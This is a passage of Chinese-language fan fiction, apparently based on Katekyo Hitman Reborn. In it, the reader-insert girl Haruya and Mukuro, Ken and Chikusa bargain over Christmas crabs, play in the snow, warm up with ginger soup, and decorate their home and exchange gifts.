中文绝对是城岛犬学过的最复杂的一个语言,别说能把一段话压缩成四个字的成语,中文竟然还分为文言文和白话文,城岛犬学的头都要大了。 他本来还想一个月速成,但是现在,城岛犬觉得自己能和你做到简单交流已经很棒了。 “小柿也可以看看,上面有很多适合春也的饭菜。” “比起这个,我觉得我们现在更需要回归正题呢。”六道骸淡淡提醒道,他才不管你们宽泛的谈话内容是出自本心还是为你遮掩,六道骸漫不经心开口:“现在,我们来聊一聊螃蟹的事。” 第29章 柿本千种在思考。 倒不是后悔给你买了螃蟹, 他只是没料到骸大人和犬会招呼不打就直接来见你们,不过柿本千种很快就想清楚了原因。 ——这是骸大人和犬送给你的第一个圣诞礼物。 如果今天你们没有买螃蟹,那么这个礼物绝对是最完美的惊喜, 但螃蟹还在。 手里螃蟹的存在感愈发强烈, 除了你, 几个人的五感都很敏锐, 鲜活的螃蟹在袋子里慢悠悠爬动,细微的声响在空寂的伞下显得异常清晰。 唇畔勾起的弧度愈发幽深, 六道骸还在等待你们的回答。 城岛犬看看你又看看柿本千种, 踩着不再干燥的地面,城岛犬牵着你的手, 莫名的安静下,柿本千种听着螃蟹爬动的声音,眼珠微动,像是想到什么,他神色平静地打破了寂静: “螃蟹, 忘记固定腿了。” 六道骸眉眼上挑,柿本千种这个回答倒是出乎他的意料, 心里感到好笑的同时, 六道骸忍不住偏头看向你。 Kufufu…你又会给出什么答案呢。 你的想法就纯粹多了,听到柿本千种的话,脑海内所有纷杂的思绪全部消失,你扭头看向柿本千种手上的袋子,担忧的视线像是能刺穿塑料袋直达螃蟹身上,你已经想象到螃蟹在里面自由活动的场景了。 螃蟹不捆,轻则断脚一只,重则只剩躯干。 擦拭干净的手又被六道骸塞入口袋, 你戳戳他的手指:“螃蟹没有捆,我们得快点回家,不然螃蟹的腿都要断掉了。” “kufufu…春也想说的只有这些吗?” “但是我从来没有因为螃蟹不舒服过。”想到这一点,你又理直气壮起来,“而且不光是我吃啊,我还亲自给骸骸和犬也挑了几只呢。” “圣诞特供螃蟹,骸骸真的要拒绝吗?” 塞入城岛犬口袋里的手抽不出来,六道骸又牢牢抓着你的手,导致你想做些什么都做不了。无奈,你只好捏捏六道骸的手。果不其然,六道骸被你吸引了注意力,他偏头看你,靛青色的碎发丝微微晃动,漂亮夺目的红眼睛宛若隐在青色的雾里,叫人看不真切。 你仰着脑袋,墨镜因为你的动作顺势下滑,漂亮的灰蓝眼瞳展露在他面前,六道骸直直望入你蛊惑的灰蓝眼眸。心跳平稳地加速,六道骸嘴角的笑意愈发让人难以捉摸。 你在他漂亮的红蓝眼睛里找到了你的身影,黑沉幽深的瞳孔完全由你的影子侵占,你忽而弯起眼睛,顺从心底古怪的满足感,你又往前刻意逼近。 “骸骸——小凤梨——骸大人——” 拉长尾音,你一遍一遍叫着六道骸的名字。你知道的,六道骸他们总是无法真正拒绝你。仗着他们的纵容和跗骨之蛆的爱意,你一步一步在他们的底线肆意蹦跶。 六道骸眼里闪烁着愉悦的光芒,面上却是一派平静,漂亮的异瞳安静盯着你,六道骸没有说话。 你动作幅度不大,但脖子上的围巾还是散开了些。之前在商场购物,你的围巾就已经有些松散了,随着你最后一个动作落下,你的围巾彻底散开。 宽大柔软的围巾直挺挺地挂在你的脖子,像圣诞树下的丝带一样自然垂落,你的脖子彻底露了出来。冷风嗖嗖地灌入,你被冻得缩了缩脖子。手还藏在六道骸温暖的口袋里取暖,你不太想动弹。 一直注视着你的六道骸自然发现了这一点,照顾你已经成了习惯,自然抬手捏住你的围巾,动作微顿,六道骸看到有几片晶莹的小雪花悄悄钻入伞内,雪花像是有目标,直直往你所在的方向飘去,很快,迎着六道骸的视线,雪花在他眼前融化成一滩小小的水珠,摇摇坠挂在毛茸茸的围巾上。 从诞生到死亡,小小的雪花死死把它的生命锁在你身上。 你并没有发现到雪花的小插曲,你更多的注意力都放在了伞外的雪花世界。纷扬的雪花裹挟着刺骨的寒风越来越大,完全就像教科书上写的那样,纷纷扬扬的大雪如鹅毛落下,铺在暗淡的柏油路面,犹如撒上一层银辉。 作为土生土长的南方人,你很少见过这么大的雪。 六道骸捏着围巾在你脖子上围了两圈,沾染了北风的围巾像裹了层冰渣子,你抗拒地想要后退,刚一动脚,你就碰到了城岛犬。 犬这家伙不知什么时候站到了你背后,你根本无路可退。 好在毛茸茸的围巾碰触到脖子后,很快发挥了它作为冬日保暖品的作用,暖意缓慢袭来,你无意识放松了身体。城岛犬炙热的手掌扶在你的腰间,就算你穿了厚厚的毛绒毛衣,你也还是能够感受到他的体温。 你不清楚这个年纪的男生是不是都像城岛犬他们一样体温高,不过也有可能是你自身温度过低,所以你才会觉得他们的身体很温暖。 “螃蟹螃蟹!如果这个天气能吃上一碗热气腾腾的螃蟹,那该是一件多么幸福的事情!!” 六道骸系围巾也不妨碍你叭叭叭地说话,你不断在六道骸耳边用螃蟹洗脑,甚至你还即兴自编了一首螃蟹之歌。唱到一半,忽然,你脖子一紧,后续歌词被迫被你吞入腹腔。你抬头看向罪魁祸首,六道骸无辜朝你笑了下,他甚至还有闲情反问你怎么不唱了。 你张开嘴巴想骂他,但脖子被束缚的滋味实在不好受,你只好伸手指了指你的脖子。六道骸哼笑松手:“哦呀,手滑了。” “春也会原谅我的吧。” 六道骸抬手撩起刘海,靛青色的碎发隐没在指缝间,他缓缓凑近你,手指隔着围巾虚虚摸了下你的脖子。 你真的很喜欢六道骸的那双异瞳,最开始你喜欢他的蓝眼睛,后来他有了红眼睛,你依旧一视同仁的喜欢。被那双神秘莫测的漂亮异瞳注视着,你轻哼着移开视线。 你的脖子还残留着股被围巾勒住的小小窒息感,你才不会这么轻易就放过讨厌的凤梨头,除非你餐餐有螃蟹。 “kufufufu…在梦里,倒是有可能实现你的想法呢。六道骸一票否决了你的梦想。” 清瘦修长的手指一直在你眼前晃悠,六道骸低头认真替你系好围巾,温热的手指稍微塞入你的脖子,轻轻一勾,不小心卷入其中的围巾全都出来,六道骸简单整理了下,你的呼吸瞬间通畅不少。 听到凤梨头冷酷无情的话,你用力磨了磨牙,你应该咬他一口的,但是,你的螃蟹还没吃进肚里,迫于形势,你忍气吞声。 六道骸系围巾的手法过于娴熟,城岛犬在旁边看得认真,脑海里下意识模拟起骸大人给你系围巾的动作,城岛犬受益匪浅。 也不知道骸大人从哪里学的,骸大人总是会很多他们都不会的技能,不愧是骸大人! “只有今天一次啦,千种可以发誓!而且这个季节的螃蟹才是最正宗的!”简单的事故过后,你假装不在意地继续说话。眨着亮晶晶的眼睛,你期待地看着六道骸。 六道骸自然看穿你了拙劣的伪装技巧,他听着你的撒娇,伴着小小的磨牙声,六道骸唇畔的笑意更浓了。 被叫到的柿本千种疑惑抬头,偏过脑袋,他恰好看到你主动抱上骸大人,亲密无间的姿势无法再让人插足,提着袋子的手默默无意识收紧,柿本千种垂下眼眸。 “哦呀哦呀,竟然连发誓都是千种来啊。” 第30章 城岛犬第一个在你的撒娇中败退, 伞面朝你和六道骸倾斜,呼呼的冷风卷着雪花飞舞,城岛犬大大咧咧开口:“春也说的也没错啊。” 都不需要回忆, 优秀的记忆力一下调出你每次用餐过后的反应。除开最初你自己一个人吃撑吃坏, 辣酱事件后, 他们再没有由着你胡吃海塞, 所以后来你也确实没有不舒服过。 至于螃蟹,更多的则是因为他们一开始不清楚食物属性。 再加上螃蟹这玩意又不饱肚, 最多的一次, 你吃了整整十只,结果自然是又找了夏马尔医生, 检查完才知道是因为螃蟹性寒,吃多了容易消化不良、脾胃虚弱…… ……是他们的疏忽。 也是因为这个,之后买螃蟹,大家没有再像之前那样,天天买了煮给你吃。就连其他食材, 他们也开始注意起来。 大约是越不能做的越想做,吃完螃蟹后禁止的一段时间里, 你对螃蟹的欲望与日俱增。 你其实不是很能理解骸骸、犬和千种的想法, 他们都知道你体质特殊,但偏偏没有一个人在意这件事,他们表现得就好像你是一个弱小一点的正常人,每天自顾自地认真照料你。 在你原本的想法里,你以为他们会任你一个人独自活动,但是,从逃出后六道骸主动拉向你的手开始,一切的发展都拐了个弯。 试探、靠近、任性……骸、犬、千种一点一点用他们的实际行动告诉你, 你很正常。 就算你不会痛、午夜十二点的身体状态会刷新、拥有蛊惑人心的容貌,你依旧可以是一个正常人。 “认真算起来,春也也有好几天没吃螃蟹了,会馋也很正常啦。” 春也很少会去控制自己的欲望,城岛犬发现你更喜欢顺遂心意。 往往你这么想了,在所有人都没有反应过来时,你已经做上了你想做的事情。在这一方面,你倒是是和城岛犬很像。 城岛犬毫不怀疑你的行动能力,尽管很多时候你都表现得很懒散。 与其让你自己某天偷摸着干坏事,还不如让你所有的想法和行为都暴露在他们眼皮底下。 城岛犬对小柿买螃蟹这件事接受良好,“实在不行,到时候本大爷把螃蟹全都吃光,一个都不给春也留。” 说着,城岛犬吸溜了下口水。 你一直念着念着螃蟹,他都被你念饿了。 还在谋求福利的你不可置信地扭头:“犬,你果然一直在惦记着我的螃蟹!!你今天别想吃到一个螃蟹,因为我一个都不会给你留!!” 眼见你误解了他的意思,城岛犬连忙补救,他慌乱凑到你面前,手上稍微施加力道,城岛犬牢牢抓住你的手:“本大爷只是先这样说啊,等螃蟹拿回家,春也想吃多少吃多少。” 六道骸好歹是一家之主,你们当然不能完全忽视他的想法。 发现手抽不回来,你抬脚踹了一下城岛犬,后者乖乖没有反抗,干净的裤脚上瞬间多了一个脚印,城岛犬一点也不觉得痛,似是觉得你这样会解气,城岛犬又说:“春也还要再踹吗?” 发现城岛犬真的想要你再踹几下,你的攻击欲望忽然消退,连带着轻微的生气也没了,你默默止住动作。 看到城岛犬正大光明当着他的面和你密谋,六道骸皮笑肉不笑地用三叉戟敲了下犬的脑袋。 “我还在呢,犬。” 不过城岛犬说的倒也没错。 “这一次,就先放你一马,千种,你也是,下一次,我可不想连续一个星期都发现你们买了螃蟹。” 柿本千种保持镇定:“我知道了,骸大人。” “春也今天只能吃三只。”淡淡的目光又落到你身上,六道骸敲定了你今天的螃蟹数量。 有想过无情地让你看着他们吃,不过六道骸毕竟不是什么可怕的魔鬼,最终,他还是放弃了这个折磨你的计划。 不过如果再有下次,那可就不一定了呢。还不知道螃蟹周的六道骸就这样简单放过你。 但是,如果少量,或许一周也没有问题,六道骸若有所思地盯着你兴奋的模样。 你的螃蟹经过最后一重考验,你走路的姿势都欢快不少。 “小柿,我们今天回去煮螃蟹!” “嗯。”嘴角扬起小小的像素点,柿本千种轻声回应你。 伞外落雪飘飞,地面渐渐积起一层厚厚的白雪,脚踩在厚雪层,发出“嘎吱嘎吱”的细响,你终于有心情抬头欣赏这场来自异世的第一场雪。 指甲盖大小的雪花落在每一处角落,偶尔卷着风,大大的雪花在空中盘旋,你下意识伸手想要接住,雪花在你掌心上方缓慢旋转,而后又无情落往别处。 六道骸接住了这片雪花,他递到你面前:“是想要它吗?” 雪花安静待在六道骸的衣袖上,一时之间,它竟没有化水,你小心翼翼触碰了下,雪花转瞬消失在你指尖。 玩雪的DNA动了,你抬脚跑出伞面的保护范围,瞬间,纷纷扬扬的大雪带着细微的重量落在你身上,不一会儿,你的衣服已经覆上了薄薄的一层雪。 抬头看向周围,大雪天,又是夜晚,很少有人愿意出门,家家户户都亮着温暖的灯光。意大利昏暗的街头,竟只有你们四个小孩慢悠悠走在回家的路上。 雪让无声的寂静蔓延整个世界,可你却并不觉得孤独,站在大雪里,你转身与骸、犬、千种挥手,他们站在伞下,看到你跑出去后,城岛犬干脆收起伞,他朝你奔来。 “春也!” 看到你充满生命力的鲜活模样,城岛犬忽然就想叫你一声,他跑到你面前狠狠抱着你旋转几圈,像那片飞舞旋转的雪花,你的内心抑制不住的开心。 “犬!” 你也跟着叫他的名字。 “骸骸!千种!”被城岛犬举在半空,你欢快朝地面的六道骸和柿本千种招了招手,双手作喇叭状放在嘴边,你超大声地说:“我现在好开心!” 欢乐的情绪是会传染的,城岛犬也跟着你肆意笑出声。 六道骸和柿本千种神情柔和地望着你们,落雪染白了他们的头发,你和城岛犬等待着他们走近,看到这幅画面,你忽然想起一些营销号的视频。 那时你不懂,但现在,你好像隐隐懂了什么。 “骸骸,犬,千种,你们看。” “什么?” “笨蛋,是头发啊。你们看,这样我们算不算是一起到白头?” 你期待地看着他们,三个人微妙愣住,但很快,他们反应过来了。 “嗯,算。” 柿本千种缓缓出声,他注视着你乌黑的发丝,只要一想到未来你们还有那么漫长的时光可以在一起,从现在开始,他就已经感到满足了。 “哈哈哈哈那春也就变成老奶奶了。” 城岛犬不会去想他们的寿命和黑手党朝不保夕的命运,他只知道,哪怕是为了能和你真正的白头,他也会努力在这残忍的里世界活下来。 不止是他,小柿和骸大人也是一样,城岛犬完全无法想象失去你们之后的世界。 “那犬就是老爷爷!” 六道骸静静看着你们嬉闹,目光落在你沾染了雪色的发丝,他缓慢眨了下眼。 一起到白头吗? kufufu…听上去确实不错呢。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 赶在彻底变成雪人之前, 你们回到了家。 刚一进门,你冷冰冰的身体很快恢复知觉,周身的寒意好似都被驱散, 你一下活了过来。在你进门之后, 手拿重物的柿本千种紧随其后。撑开被雪花淋湿的伞, 城岛犬心大地把它放在地面, 他在六道骸之前进了门。 一开始走在最前面的六道骸反倒成了最后一个进门的人。伸手及时握住被风吹跑的伞柄,六道骸拎着差点流浪的伞走进家门。 没怎么用力地关上门, 六道骸将狂啸的冷风彻底隔绝在外。发现几个人都没有开灯, 六道骸抬手按下开关,白色的灯光瞬间笼罩整间屋子。一时间, 所有人的脸都清晰地显现在你面前。 “kufufufu…你们是打算摸黑做饭吗” 灯光驱散黑暗,你稍微有些不适应地眨了眨眼。你就说你刚才怎么眼前一黑又一黑,原来是没开灯啊。不怪你没发现,大开的窗帘外,白雪将夜晚的天色照得格外亮堂, 狂风不断拍打窗户大门,单听着, 你就感到一阵刺骨的阴冷冰凉。 “春也先别动。” 柿本千种把手上的东西全都放到地面, 他注意到了你现在的样子。 ——像刚从雪地里出来的小雪人,你浑身上下都是小雪堆,稍微有点动作,晶莹剔透的小雪花便哗啦啦从你身上掉落。 有点可爱,也很有季节特色,柿本千种看你甩了甩脑袋将头顶的雪堆全都抖落,他忽然在心底想到,下一个节日到来之前, 他或许可以买一件雪人套装送给你。 不过现在并不是考虑这些的时候,没有管自己身上的雪堆,柿本千种从柜子里拿出崭新的毛毯,他动作轻手轻脚,以防自己身上的雪堆落到地面,但再怎么小心,难免还是会有少部分雪堆坠落。 来到大门口,柿本千种蹲下身认真铺好毛毯,因为他的动作,柿本千种身上的雪堆和你一样,全都哗啦啦落下,所幸这个时候他已经铺好了毛毯,雪全都堆积在了上面。 柿本千种起身拉着你来到毛毯上。 “春也身上都是雪,先雪都抖落,不要着凉。” 你眨了下眼,刚低头准备看看自己现在的样子,脑袋和肩膀一轻,小雪堆丝滑地从上边滑落,瞬间,干净的小毛毯出现了一座天然迷你小雪山。 “哈哈哈春也现在成了行走的大雪天气。” 紧跟在后边的城岛犬自然也看到了这一幕,他走上前,掸落你衣服间的残雪,城岛犬抬手解开你结满冰渣子的围巾,冷冰冰的围巾只有靠近你脖颈处的部分还有些温暖,他顺手抖了抖,城岛犬把你的围巾挂在旁边的衣帽架上。 今天城岛犬穿得不算厚,雪水浸湿衣服,挂完你的围巾后,你看到城岛犬脱下了潮湿的牛仔外套。 毛毯的尺寸很大,完全可以容纳四个人,城岛犬站在上面,像毛发沾染了水的小狗崽一样,你看到他娴熟地抖了抖身体。 就算雪足够大到能够在人身上堆叠,但接触到温热的肌肤,它依旧会融化。冰凉的水沾湿了他的毛发、衣服和皮肤,城岛犬拼命甩甩甩,他很不喜欢水滞留在自己身上的感觉,实验因素和个人因素都有。 “啊啊,最讨厌水了。”城岛犬一边抱怨,一边努力把自己甩干,抬手撩起灿烂的金发刘海,城岛犬低头看着自己手里的水渍,他语气自然地感叹:“我这样也算洗过澡了啊。” 城岛犬甩起来的时候毫无顾忌,你一时没有远离,城岛犬甩出来的水珠全都落在了你身上。继大雪过后,你被迫淋了场人工降雨。 “不要以为这样说就能逃避今天的洗澡,犬。” 柿本千种一眼就看穿了城岛犬的小心思,你望过去,发现柿本千种手里忽然出现了几叠干净的毛巾。 柿本千种刚刚去给你们拿毛巾,他一出来就看到城岛犬的“恶”举,手里干燥温暖的毛巾毫不留情扔到城岛犬湿漉漉的脑袋上,柿本千种的语气毫无波澜:“犬是笨蛋吗?你的水都淋到春也了。” “……我才不是笨蛋!”被戳穿心思,城岛犬一僵,很快他又佯装什么都没发生。毛巾随意擦了把脸,城岛犬掀开挡住视野的毛巾,刚想和柿本千种理论,他就看到了惨遭自己水波攻击的你。 城岛犬:“春也什么时候?!” 你冷哼一声,没有理会笨蛋犬,站在远离城岛犬的地方,盯着自己身上残留的雪,犹豫了下,你学着犬刚刚的动作,站在原地使劲抖了抖,瞬间,大片大片的雪花落在地面,很快,它们又融化成一滩水。 你甩身体的动作没有城岛犬利落,身上的雪还未掸落干净。拿起柿本千种递过来的毛巾,简单擦拭了脸上的水珠,你后知后觉感受到了刺骨的冷意。 第32章 六道骸没有参与你和犬傻乎乎的行为, 在你们掸雪的时间,他先进了厨房,视线扫了一圈, 他提前把热水倒入锅中快速煮熟。 生姜切片扔入沸腾的锅中, 加入红糖葱花, 很快, 一碗热气腾腾的姜汤出锅。 六道骸的动作一向利落快速,等他盛好姜汤出来, 他发现你们已经不在门口了。 视线移动, 六道骸看到城岛犬正和你一起窝在沙发。毛毯将你们盖得严严实实,你蜷缩着窝在城岛犬怀里。像企鹅保护幼崽那样, 城岛犬将你捂得密不透风。 “哦呀,这是在做什么?” 碗放在桌面,发出沉闷的响声,目光在你们亲密的姿势停留一秒,六道骸自然收回视线。 嗯?好像有点不对。 余光注意到你没有血色的唇色, 六道骸走近摸了摸你的额头,确认你没有出现发热的症状, 六道骸不自觉在心底松了口气。 “骸大人!” 发现六道骸的身影, 城岛犬自然看到了骸大人端到桌面的姜汤。都不用思考,城岛犬就知道这三碗姜汤是煮给他们驱寒的。 听到骸大人的问话,无意识收紧环抱住你小腹的手,城岛犬又重新捻了捻裹着你们的厚毛毯。 “春也太冷了,我在给她取暖。”说着,城岛犬又摸了摸你的手查探温度,比起一开始的冰冷,你确实暖和不少。 身体发冷, 你一说话就忍不住牙齿打颤,听到六道骸和城岛犬的话,你只一味地点头。 还好你今天穿得比较厚,脱下沾湿雪水的外套后,你里面的毛衣并没有被打湿,往后紧紧靠着城岛犬,你发寒的身体终于开始回暖。 “犬,好暖和。” 城岛犬的身体实在太温暖了,你总是忍不住往后缩。 城岛犬现在只穿了件单薄的衬衫,灼热的温度更加方便传递给你。他的手还覆盖着你,你的手指不安分地顺着他的衣袖往里钻,城岛犬身体一僵,骤然绷紧的肌肉让你不满地拍了拍他的手臂,城岛犬下意识放松自己,他任你动作。 城岛犬很少感受过你黏糊糊的样子,脑袋完全搁在你的肩膀,暖金色的眼瞳倒映着你的身影,城岛犬不动声色搂紧你。 也只有在这种时候,你才会格外粘着他。 要说六道骸没有察觉你们的动静,那是不可能的。眸光微动,六道骸静静看了你和城岛犬一眼。 柿本千种刚刚拎着大包小包的食材走进厨房,暂时没发现你们后面的动作,眼底闪过一丝说不清道不明的情绪,六道骸觉得自己已经可以从你们目前的状态窥见大家未来的生活了。 不过,先不提未来,六道骸认为下一个住所很需要精心挑选一番。 比如,空调真的很有必要。 视线落在你还未恢复血色的脸蛋,想起你之前毫无顾忌跑到雪地里的画面,六道骸大致明白了原因。 端起桌面的热汤,念及你现在肯定不会愿意出来,六道骸低眉认真吹凉姜汤。 ——哼哼,他只是为了省下你之后的麻烦才会这么做。 适逢这个季节温度低,食物都凉得特别快,不一会儿,姜汤就没有刚开始那么滚烫无法入口了。 “先喝口姜汤暖暖身体。” 说着,温热的碗口送入你的嘴边,六道骸坐在你身旁,他耐心等待你开口,“里面加了糖。” 眨了下眼,就着六道骸现在的姿势,你低头开始喝汤,六道骸动作流畅地把所有姜汤送入你嘴里。你的这份姜汤六道骸舀得比较细致,里面没有一丝杂质,你喝得很快。 确认你喝干净后,六道骸拿起手帕干净你嘴上残留的水渍。 “骸大人,我的呢?” 第33章 你不想起身, 城岛犬是起不了身。 他稍一动弹,冷空气便抓紧机会钻入你们温暖的毛毯,猝不及防被冻了一下, 你不满地拍了拍城岛犬的手, 后者立马僵住。 抱着你, 城岛犬都不需要认真, 他随意就将六道骸喂食的画面看在眼里。 单纯的眼睛眨了眨,城岛犬低头认真观察你乖巧喝汤的模样, 心底闪过古怪的情绪, 他数你的睫毛来分散自己的注意力。 毛毯下,城岛犬轻轻捏着你的小肚子, 你的软肉在他指缝间溢出,和记忆里你消瘦清减的身形不同,在他们的精心照料下,你的身上总算长出了些肉。 眼见你喝完姜汤,城岛犬看到六道骸拿了你的碗准备离开, 发现骸大人没有注意到自己,城岛犬连忙开口。 这可是骸大人煮的汤, 不管怎么样, 城岛犬都想尝一尝,最主要的是,他现在抱着你根本脱不开身,而桌面上的姜汤离他又有一段距离,以他现在的姿势,城岛犬完全够不到姜汤。 听到城岛犬的话,六道骸哼笑一声,目光落在你们亲密无间的姿势上, 六道骸淡淡撇开视线:“哦呀,怎么,犬自己是做不到吗?” 城岛犬没有发觉六道骸眼底的幽深,他低头看了眼你:“春也在,我动不了,骸大人。” 六道骸静静盯了城岛犬几秒,确认他真的一动就会被你打一下,他这才把桌上快冷掉的姜汤端起来。见城岛犬凑过脑袋就打算直接喝,六道骸皮笑肉不笑地用你的空碗抵住城岛犬的大脑门。 “手伸出来,自己喝。”多大的人了,还要他亲自上手喂。 城岛犬没有在意骸大人的偏心,你只拽住了他一只手,他的另一只手还是自由的。小心翼翼从毛毯底下伸出手,城岛犬立马捻了捻漏风的毛毯,发现这一次你没有拍打他的手臂后,城岛犬松了口气。 你没觉得冷就好。 接过骸大人手里的姜汤,城岛犬咕嘟咕嘟一口气喝光。生姜的辣味刺激着他的味蕾,城岛犬不适应地吐出舌头倒吸几口冷空气。 一碗姜汤下去,本就体热的城岛犬感觉自己身上温度更高了。 城岛犬把空碗递给六道骸,后者淡淡瞥了他一眼,还是接过了。 你没有理会两个人的谈话,默默缩在城岛犬的怀里,你只觉得外边的一切寒冷都离你而去。你讨厌冰冷,这会让你想起蕴藏着刺骨尖锐寒意的手术刀和各种机械器具。 城岛犬的身体一阵一阵散发热量,你窝在温暖的毛毯里,困意开始滋生,捂着空荡荡的肚子,你抬起头,发现六道骸和柿本千种两个人都不在,你忍不住提高音量拉长尾调。 “骸骸——千种——” 城岛犬第一个回复你:“骸大人和小柿在厨房。” 紧接着,柿本千种先从厨房冒出了个小脑袋:“春也怎么了?” 六道骸慢悠悠靠在门框上,他抬眼就能看到你们在沙发上的身影。 哦呀,刚进厨房就听到你黏人的动静,六道骸哼笑:“kufufu…怎么了?” “我饿了。”嗅嗅鼻子,你闻到了食物的香味,你诚实地摸了摸肚子。 “很快就好了,春也再等等。” 有骸大人帮忙,柿本千种的做饭效率提高不少。 你看着两个人重新走进厨房,在你快要睡过去的时候,你忽然想起,你还买了一堆圣诞装饰用的东西。 你表情严肃:“糟糕了。” 城岛犬疑惑看你:“怎么了?” “袋子里,还有好多装饰品。”你挪动身体,脑袋往门口柿本千种没有拿进厨房的大袋子抻了抻,“我还没有开始装扮。” 城岛犬没有明白你的意思,他直白地问:“那春也现在是要去装饰屋子吗?” “太冷了。”你冷不丁扭头,正对上城岛犬疑惑的视线,你的手肘推了推他,“犬。” 城岛犬一时没有明白你的意思,柿本千种也正好在这个时间端好饭菜出来,看到你和犬还蜷缩在毛毯里,他微不可闻地叹了口气。 房间的隔音一般,早在厨房,柿本千种就听到了你们的谈话声,他立刻明白了你的意思。 柿本千种一声不吭走进自己房间,瞥过骸大人和犬的衣服,迟疑了一秒,柿本千种从自己衣服里挑了件比较厚的外套,柿本千种思考了下,他先自己套上外套,等到衣服暖和了些,柿本千种再次出现在你面前。 “春也先穿上外套,会暖和点。” 你的眼前忽然出现一件加绒厚外套,视线上移,柿本千种正拎着它,见你看过来,他又将外套往你面前递了递。 “我的外套比较暖和,春也冷,先穿上它。” 说完,柿本千种又解释了句:“我刚刚把外套捂热,现在里面还有温度。 听到这话,你眼睛一亮,伸手接过外套,你掀开毛毯后快速穿上,果然和柿本千种描述的一样,里面还有千种的体温残留。 “千种好懂我!”身体依旧温暖,你做事也就大胆起来。 你抬起两只手,大你手臂一截的袖子失去支撑,啪嗒一下坠了下来。 柿本千种的衣服比你的大了一个size,尤其是衣服上还残留着他的体温和气息,你总感觉自己现在像是被全部的柿本千种包裹一样。 人需要奖励。你很好地践行这一点。 抬手抱住柿本千种,夸赞的话不要钱地从你嘴里溢出,当然,能引起六道骸和城岛犬两个人注目的,自然是你最后那句“最喜欢千种了!” 城岛犬莫名感觉自己损失好多。 六道骸自诩成熟,他根本不会计较你不走心的夸赞。 慢悠悠煮着螃蟹,六道骸不动声色把你的螃蟹数量减少一只。 他心里当然不会有别的想法,只不过,春也可不能吃太多寒性食物呢。 至于千种……最近的任务就带上他吧。 kufufu…不过都是些你不走心的夸赞,也就千种和犬会当真,他可不会被你的糖衣炮弹迷惑。 这样说着,六道骸又给螃蟹撒了点葱姜去腥味。 简单抱了下柿本千种,你便没有再管他们的反应,你欢快跑到门口的大袋子前,一一掏出你精心挑选过的装饰品,你观察了下空荡荡的房子,你招唤着犬过来。 “犬,快来!” 柿本千种继续进厨房准备你们的晚餐,城岛犬还在回想你刚刚的话,听到你的声音,他立马蹿了过来。 “春也有事要我帮忙嘛?” “犬去把这个花环和铃铛挂起来。”你把圣诞花环和金灿灿的大铃铛递给城岛犬,“亮晶晶的五角星挂在窗户上,几个银色小圆球的丝带可以挂在桌子上方,袜子挂在门把手,姜饼人和雪人的小玩偶放在沙发,迷你陶瓷雪人、姜饼人立在桌面,让它们看着我们吃饭。” 你一一安排装饰品们的去处,看着城岛犬忙碌起来,你将最后的目光对准半米高的小型圣诞树。 “我的任务,就是装扮这棵圣诞树!” 解开包装袋,啪嗒一下,冷杉树像活了过来,一层一层舒展开身躯。 光秃秃的绿色莫名吸晴,你打开装饰圣诞树的小袋子,认真在上面挂好红色小袜子、小铃铛、金银双色的小圆球……渐渐的,这棵圣诞树也被你装扮得有模有样了。 “这才有节日的味道嘛!” 春节,你一个人在家,也总是会买一大堆春联福字之类的张贴。 搞完你的事情,你开始检查城岛犬的工作。 犬这家伙虽然大大咧咧又话多,但对待手头的任务工作,他还是挺认真的。起码,你发现他很好地执行了你的任务,没有出错。 “怎么样,本大爷干的还可以吧。”城岛犬得意向你展示他的成果,小犬牙露出,城岛犬也看到了你的小小圣诞树。 “犬超级棒!”你肯定点头。 静静等待一会,见你又开开心心围着圣诞树欣赏,城岛犬不满地走到你面前:“没有别的吗?” “什么?”你疑惑歪头。 城岛犬蹲在你身边,他小声地说:“你刚刚都给小柿一个拥抱了,为什么我没有?” 说到最后,城岛犬还有些委屈。 你偏头看向城岛犬,他正眼巴巴地盯着你,像只渴望得到主人爱抚的小狗,金灿灿的毛发乖巧柔顺,你干脆坐在地面,张开双手,你朝他笑了下:“犬,过来。” 看到你的动作,城岛犬眼睛一亮,身后不存在的尾巴竖起,城岛犬猛扑到你怀里。 被你抱住的一瞬间,心里所有的古怪情绪都消失了,城岛犬满足地蹭了蹭你。 “春也,要一视同仁。” 不可以,厚此薄彼。 城岛犬扑过来的力道有些大,他的手掌护住你的脑袋,你差点被他带的摔倒。勉强靠在圣诞树下,刚刚被你摆好的礼盒因为你们的动作散成凌乱的一团,你看向趴在你身上的城岛犬,你摸了摸他金灿灿你小脑袋。 凭借微弱的常识,你大概明白,这应该是小孩子奇怪的占有欲。就算是友情,也是会有占有欲的。 不过你从来没有骸骸和千种身上看到过,犬也是第一次。 虽然不太明白,但你很在乎他们,所以你会好好满足犬、千种和骸骸的愿望。 第34章 等到柿本千种摆好所有饭菜时, 你和城岛犬也将你们的家全都装饰完毕。 虽然你不认同这个简陋的住所能冠以家的名号,但只要犬、骸骸和千种在,那这里就是你们的家。 “骸骸, 千种!快来看我和犬努力的成果!!” 你戴好圣诞帽, 抱着毛茸茸的小小姜饼人玩偶, 你欢快跑到柿本千种和六道骸面前。 “圣诞快乐!” 你把手里的礼盒分别递给柿本千种和六道骸、城岛犬, 每个人的礼盒颜色都对应着他们的发色,你期待地看着他们。 “打开看看, 是我给你们精心挑选的礼物哦~” 三个人不约而同愣了下, 很显然,他们没想过自己会收到你的礼物, 尤其是柿本千种,他看上去似乎更惊讶。 中指托了托眼镜,柿本千种看向你:“春也什么时候买的礼物?” 购物的时候,他一直跟着你,柿本千种完全没有看到你拿礼盒, 而且,柿本千种也没看到商店里有这些礼盒。 “秘密~”你弯起眼睛, 推着他们坐到沙发上, 你双手叉腰:“那种事情根本不重要啦,快拆开看看。我送的礼物,你们肯定会喜欢!” “春也送什么,我都会喜欢。” 见无法从你这得到答案,柿本千种将注意力重新放到礼盒上。 灰暗的蓝色眼睛倒映着礼盒的模样,柿本千种呆呆捧着礼盒好一会,等到旁边传来拆礼物的动静,他这才像是回过神一样, 重新看向自己的礼盒。 第一次收到礼物,迟疑了下,柿本千种生涩地拆开蝴蝶结。 两根修长布满伤痕的手指轻轻一捏,完美的蝴蝶结轻飘飘落幕,一顶米白色的针织帽乖乖巧巧呆在里面,旁边还缠了棵小松果。 “本来是想准备溜溜球的,但是后来我发现,那是你的武器。”你坐在柿本千种旁边,“作为武器,我没有找到合适的溜溜球,所以没有选。” “正好千种的这顶帽子戴了很久,可以换新的!” 你抬手摘下柿本千种的帽子,柿本千种的黑色碎发凌乱散成一团,你倾身替他理了理头发,发现柿本千种还是没有动静,你疑惑低头。 ——柿本千种正安静看你。 